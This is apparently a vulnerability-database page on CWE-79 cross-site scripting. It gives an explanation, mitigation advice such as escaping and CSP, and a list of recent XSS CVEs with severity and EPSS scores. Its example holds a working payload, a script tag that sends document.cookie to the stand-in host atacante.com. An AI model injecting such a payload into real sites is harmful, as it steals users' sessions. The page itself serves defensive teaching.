Fallos del tipo CWE-79

30.306 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-61914HIGHn8n's Possible Stored XSS in "Respond to Webhook" Node May Execute Outside iframe SandboxEPSS 0.2%CVE-2026-15283MEDIUMWPvivid Backup for MainWP <= 0.9.33 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-22788MEDIUMWordPress CoDesigner plugin <= 4.29 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-54699MEDIUMWordPress Masteriyo - LMS Plugin plugin <= 1.18.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-49241HIGHAngular: Multiple Remote Code Execution Vulnerabilities in Angular Language Service VS Code ExtensionEPSS 0.2%CVE-2025-48206MEDIUMThe ns_backup extension through 13.0.0 for TYPO3 allows XSS.EPSS 0.2%CVE-2025-11262HIGHLink Whisper Free <= 0.9.0 - Unauthenticated Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-12037MEDIUMFrontend Content Forms for User Submissions (UGC) <= 2.8.13 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2023-37535HIGHHCL Domino Volt and Domino Leap are affected by a Cross-site scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-7205MEDIUMGiveWP – Donation Plugin and Fundraising Platform <= 4.5.0 - Authenticated (GiveWP worker+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-7775MEDIUMCross-site Scripting Security Vulnerability in IBM Sterling B2B Integrator and IBM Sterling File GatewayEPSS 0.2%CVE-2026-3343MEDIUMWatchGuard Firebox Reflected Cross-Site-Scripting (XSS) Vulnerability in Fireware Web UIEPSS 0.2%CVE-2025-53631MEDIUMflaskBlog XSS Vulnerability in postContentEPSS 0.2%CVE-2026-39070MEDIUMWordPress plugin (Bit Assist) before 1.7.2 is affected by Stored Cross-Site Scripting in Call-To-Action feature. An authenticated attacker wEPSS 0.2%CVE-2025-31900HIGHWordPress Lexicata plugin <= 1.0.16 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-31901HIGHWordPress Digihood HTML Sitemap Plugin <= 3.1.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-15692LOWIcegram Express < 5.8.6 - Admin+ Stored XSSEPSS 0.2%CVE-2024-28973MEDIUMDell PowerProtect DD, versions prior to 8.0, LTS 7.13.1.0, LTS 7.10.1.30, LTS 7.7.5.40 contain a Stored Cross-Site Scripting Vulnerability. EPSS 0.2%CVE-2024-51624HIGHWordPress Já-Já Pagamentos for WooCommerce plugin <= 1.3.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-31902HIGHWordPress Social Share And Social Locker Plugin <= 1.4.1 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%